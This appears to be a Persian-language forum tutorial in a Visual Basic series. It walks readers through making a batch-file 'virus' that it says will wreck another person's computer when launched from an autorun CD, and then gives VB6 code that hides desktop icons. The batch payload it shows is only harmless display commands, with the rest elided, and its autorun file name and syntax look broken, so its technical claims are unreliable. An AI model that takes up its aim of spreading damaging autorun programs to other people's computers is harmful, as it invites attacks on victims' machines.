سلام
از کسایی که ادعا کرده بودند معمای X27 رو حل کردن. تقاضا می کنم برای حفظ آبروی خودشون .ضد شو بنویس و ارسال کنند و اما در ادامه آموزش ویژال بیسیک در افکار متضاد می خوام یه چند سطری از داس بگم.
برید داخل Notpad این چند سطر رو بنویسید و بعد با فرمت "*.bat" ذخیره کنید. مثل ali.bat
سر آخر یه ویروس دارید . که اگه اتو ران کنید و بذارید روی سی دی با بالا اومدنش کامپیوتر طرف رو داغون می کنه.
".................."
روی start رفته و روی run کلیک کنید و notepad را تایپ کنید بعد از باز شدن پنجره این ها رو بنویسید توش
@echo off
Cls
===========
Color fc
===========
خوب تایپ کردن دیگه بسه این فایل را با هر نامی که دل تان خواست ذخیره کنید ولی پسوند را با نام bat بگذارید ، مثل arnh.bat
"..............."
برای اتو ران هم یه فایل به نام Autorun.ini باز می کنید . برای ذخیره در Notpad با فرمت دلخواهتون فقط نام فایل رو داخل گیومه بزارین مثل "Autorun.ini"و save کنید.
داخل فایل این رو بنویسد.
[AutoRun]
OPEN=*.bat
· *نام فایل که برای ویروس خودتون گذاشتید.
---------------"
یه برنامه دیگه که آیکون های روی دسکتاپ رو مخفی می کنه.
اول یه فرم ساده
بعد چهار تا باتون
که اسماشون اینه
cmdDShow به نام : نمایش
cmdExit به نام : بستن
cmdDHide به نام : مخفی کردن
حالا یه ماژول که اینو می ریزین داخلش
"---------------------------"
Option Explicit
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Const SWP_HIDEWINDOW = &H80
Public Const SWP_SHOWWINDOW = &H40
Declare Function ShowCursor& Lib "user32" (ByVal bShow As Long)
"---------------------"
در ادامه روی فرم دابل کلیک می کنید هرچه سورسه پاک می کنید و فقط اینو می ریزین
"------------------------------"
Option Explicit
Private Declare Function FindWindowEx Lib _
"user32" Alias "FindWindowExA" (ByVal hWnd1 _
As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, _
ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" _
(ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function SystemParametersInfo _
Lib "user32" Alias "SystemParametersInfoA" _
(ByVal uAction As Long, ByVal uParam _
As Long, lpvParam As Any, _
ByVal fuWinIni As Long) As Long
Private Const SPI_SCREENSAVERRUNNING = 97
Private Sub cmdDHide_Click()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 0
End Sub
Private Sub cmdDShow_Click()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 5
End Sub
Private Sub cmdExit_Click()
Me.Hide
End
End Sub
"-----------------------------"
برای امروز دیگه کافیه
هر سوالی . هر پیشنهادی دارین در بخش پرسش و پاسخ بذارید